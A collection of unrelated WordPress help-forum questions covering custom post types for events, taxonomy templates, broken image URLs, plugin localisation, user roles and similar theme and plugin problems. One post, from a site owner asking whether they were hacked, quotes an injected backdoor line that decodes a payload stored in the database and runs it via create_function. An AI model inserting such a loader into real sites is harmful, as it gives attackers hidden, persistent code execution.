I'm not sure I'm allowed to ask a question like this on this forum, however I'll try. My question is not yet about a technical problem but how my complete theme-architecture might be build to fit my purpose. My site is mainly about upcoming events - e.g. like lectures and workshops. I'd like to list all upcoming lectures and workshops on my frontpage with a little description (might be `the_excerpt`). When clicking on a date (e.g. workshop) I want to see the complete description of the event. I have absolutely no idea if it's even possible to do this kind of thing with "posts" - upcoming dates? If it's possible I thought of handling "workshops" and "lectures" as categories so I'm also possible to sort by category or display an entire page with only all lectures or all workshops. Moreover I'd like to be able to do another thing - reviews of an event. So imagine a date (lecture or workshop) is over I still want to display the event in an "archive" or something where I can add a review with photos and a description of the event to the date itself. How could I handle this thing with wordpress - I'm usually pretty good when it comes to programm this theme, I just don't know how to create this architecture with wordpress in the first place! Thank you in advance. edit: If it's not possible with wordpress alone do you guys know a plugin that handles stuff like that? Update:               add_action("admin_init", "admin_init");          function admin_init(){         add_meta_box("date_of_event-meta", "Date of Event", "date_of_event", "events", "side", "low");     }          function date_of_event() {         global $post;         $custom = get_post_custom($post->ID);         $date_of_event = $custom["date_of_event"][0];         ?>         <label>Date of Event:</label>         <input name="date_of_event" value="<?php echo $date_of_event; ?>" />         <?php     }


Customize category page for different custom taxonomies

What I'm working on are the pages that you go to after clicking on a custom taxonomy on the front-end. I'm to the point where I've duplicated category.php, renamed it taxonomy-tr_property_region.php so that I can edit how posts with the taxonomy tr_property_region are displayed. If I understand correctly I need to edit loop.php, but I don't want taxonomy- tr_property_region.php to look the same as taxonomy-language.php is there a way to not use get_template_part( 'loop', 'category' ); Example being I want to change this               get_template_part( 'loop', 'category' );      To be something more like this,
     <?php        $loop = whatever replaces get_template_part( 'loop', 'category' );      ?>     <?php while ( $loop->have_posts() ) : $loop->the_post(); ?>

       <a href="<?php the_permalink(); ?>"><?php the_title(); ?>       <?php $meta = get_post_meta(get_the_ID(), 'rw_propCity', true); echo $meta; ?>

       <?php if ( has_post_thumbnail()) : ?>         <a href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>" >           <?php the_post_thumbnail('thumbnail'); ?>                <?php endif; ?>

                 <?php $meta = get_post_meta(get_the_ID(), 'rw_propBedrooms', true); echo $meta; ?>       <?php $meta = get_post_meta(get_the_ID(), 'rw_propBathrooms', true); echo $meta; ?>       <?php $meta = get_post_meta(get_the_ID(), 'rw_propDesc', true); echo $meta; ?>

     <?php endwhile; ?>


Some images on Wordpress site are suddenly gone

I am not sure when this started happening as I have not been paying close attention. I've tried disabling recent plugins to no avail. Some of my images are just gone and there doesn't seem to be a pattern to which ones, but when I copy the image location, I get a url that is something like this: http://www.pureplantessentials.comhttp//www.pureplantessentials.com/bruce_lipton1.jpg when it should be something like this: http://www.pureplantessentials.com/bruce_lipton1.jpg I looked in the code and it says the image url is: /bruce_lipton1.jpg You can probably guess my site's url. What could be happening here?


How to make a WordPress plugin translation ready?

What is the best way create a plugin that is translation ready? It doesn't have to be translated from the beginning but it has to be easily translatable so fellow developers from different cultures can participate to the localization process of the plugin.


Split WP_POST table based on post types

I was wondering if it's possible to get my posts from 2 databases depending on the post type. I'm using HyperDB but can't seem to get it to specify the database based on post type. I Basically need all my "product" post types getting pulled form another DB to the general WP posts (media, pages etc) ? Any thoughts much appreciated


WordPress Check User Role Function (multiple roles)?

I'm playing around with the check_user_role function put together by AppThemes; as mentioned in the WordPress current_user_can codex page. In the AppThemes tutorial code it references the following:               // example use for the current user     if ( appthemes_check_user_role( 'customer' )         _e( "You've got access dude!", 'appthemes' );     else         _e( "Sorry man, no luck.", 'appthemes' );      I'm wanting to get this to work with more than 1 user role (i.e. 'customrole', 'subscriber') but not having much luck without creating what feels like repetitive code. The only way I got it to work was to do something like:               if (appthemes_check_user_role( 'customrole' ) || appthemes_check_user_role( 'author' ) ) {         _e( "You've got access dude!", 'appthemes' );     } else {         _e( "Sorry man, no luck.", 'appthemes' );     }      Or this:               if (appthemes_check_user_role( 'customrole' ) ) {         _e( "You've got access dude!", 'appthemes' );     } if (appthemes_check_user_role( 'author' )) {         _e( "You've got access dude!", 'appthemes' );     }else{         _e( "Sorry man, no luck.", 'appthemes' );     }      I was wondering if anyone had any suggestions to simplify the code for use with multiple roles?


Multiple approval from editors before publishing?

I would like to have more than 1 editor approve a post before it can be published. Is their anything that does this out of the box or will I need to roll my own?


Error when renaming option

**UPDATE:** This error came from WP_DEBUG...of course, embedded_url didn't exist yet. However, when I set the value of $options[embedded_url] using the form, the $options array magically adds both the new value of embedded_url AND somehow remembers an old value of text_string. I've added               unset($options['text_string']);      to my code, but as soon as I press the Save Settings button, it's right back in the $options again. text_string does not exist anywhere in my code anymore. It's totally gone. Where is this text_string ghost?! * * * I followed this tutorial almost word for word to create a custom admin/settings page for a plugin I created. I tried to change the option name `text_string` to something else – `embedded_url`. I have WP_DEBUG enabled. When I loaded my plugin’s settings page, right above my text input field is this error: > Notice: Undefined index: embedded_url in …. and then it points to the echo line of this function:               function plugin_setting_url() {     $options = get_option('plugin_options');     echo "<input id='plugin_url' name='plugin_options[embedded_url]' size='40' type='text' value='{$options['embedded_url']}' />";     }      Since this is the only place that `text_string` appears in the tutorial other than the validation method, I do not understand why `embedded_url` is not defined in the same manner as `text_string` was. What am I doing incorrectly?


Core files changed - site hacked?

Got a WordFence alert last night for one of our WordPress sites, saying that some WordPress core files had been changed:   * WordPress core file modified: wp-content/plugins/akismet/admin.php   * WordPress core file modified: wp-content/plugins/akismet/akismet.php   * WordPress core file modified: wp-content/plugins/akismet/index.php   * WordPress core file modified: wp-content/plugins/akismet/legacy.php   * WordPress core file modified: wp-content/plugins/akismet/widget.php   * WordPress core file modified: wp-includes/default-filters.php   * WordPress core file modified: wp-includes/l10n.php   * WordPress core file modified: wp-includes/vars.php I diff'ed each of these against files from a fresh WordPress download and the following was added to all the files above: `$z=get_option("_site_transient_browser_3167ad50dece0d31baf9df53cf730799"); $z=base64_decode(str_rot13($z)); if(strpos($z,"42A2E9D4")!==false){ $_z=create_function("",$z); @$_z(); }` The site is running the latest version of WordPress and Akismet, file permissions are correct and the site appears the functioning normally. Does anyone know where this code comes from? Was my site hacked?


get_template_part in admin

I am trying to use get_template_part when creating a page in the admin section of my site. However, it does not seem to be working. Does this function not work in the admin section? What alternative can I use?